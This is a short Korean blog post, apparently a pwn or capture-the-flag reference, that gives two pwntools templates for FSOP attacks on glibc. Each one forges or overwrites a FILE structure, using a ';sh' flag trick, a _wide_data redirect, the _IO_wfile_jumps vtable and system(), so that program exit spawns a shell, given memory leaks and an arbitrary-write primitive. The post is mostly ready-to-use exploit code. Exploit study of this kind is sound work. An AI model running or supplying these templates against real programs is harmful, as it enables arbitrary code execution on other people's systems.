[Exploit Tech Analysis][FSOP] Template for Shell

FSOP에 대한 이해가 필요합니다.
자세한 내용은 이 글을 참고하세요.

1. Heap에 만들고 chain 덮기

  • heap leak이 된 상태
  • libc leak이 된 상태
  • 최소 0x8 바이트 이상의 AAW Primitive
  • 정상적인 종료 (exit() 호출 / main에서 return)
# stderr / stdout / stdin의 chain을 힙상의 가짜 file struct로 바꿔야 함
# offset: +0x68
write(_IO_2_1_stderr_+0x68, fake_file_address)

fs = FileStructure()
fs.flags = 0x00000000fbad2404 & (~0x10) & (~0x4) & (~0x02)
fs.flags = fs.flags | 1 | int.from_bytes(b";sh", 'little') << (4 * 8)
fs._IO_read_end = fake_file_address
fs._lock = fake_file_address + 0x100  # 쓰기 가능한 주소면 어디든 OK
fs._wide_data = fake_file_address - 0x10
fs.unknown2 = p64(0) * 3 + p64(1) + p64(libc.symbols["system"]) + p64(fake_file_address + 0x60)
fs.vtable = libc.symbols["_IO_wfile_jumps"]
fs._IO_write_base = 0

write(fake_file_address, bytes(fs))

2. 구조체 자체를 덮기

  • libc leak이 된 상태
  • 최소 0xe0 이상의 AAW Primitive
  • 정상적인 종료 (exit() 호출 / main에서 return)
target = _IO_2_1_stdout_ | _IO_2_1_stderr_ | _IO_2_1_stdin_
# 추천: stderr

fs = FileStructure()
fs.flags = 0x00000000fbad2404 & (~0x10) & (~0x4) & (~0x02)
fs.flags = fs.flags | 1 | int.from_bytes(b";sh", 'little') << (4 * 8)
fs._IO_read_end = libc.symbols["_IO_2_1_stderr_"]
fs._lock = libc.bss() + 0x100  # 쓰기 가능한 주소면 어디든 OK
fs._wide_data = fake_file_address - 0x10
fs.unknown2 = p64(0) * 3 + p64(1) + p64(libc.symbols["system"]) + p64(libc.symbols["_IO_2_1_stderr_"] + 0x60)
fs.vtable = libc.symbols["_IO_wfile_jumps"]
fs._IO_write_base = 0

write(fake_file_address, bytes(fs))

_IO_2_1_stderr 이외의 다른 구조체를 쓰고 싶다면 바꿔주면 되지만 화면에 출력이 안 되거나 입력을 못 받는 상황이 생길 가능성이 다분함!

Leave a comment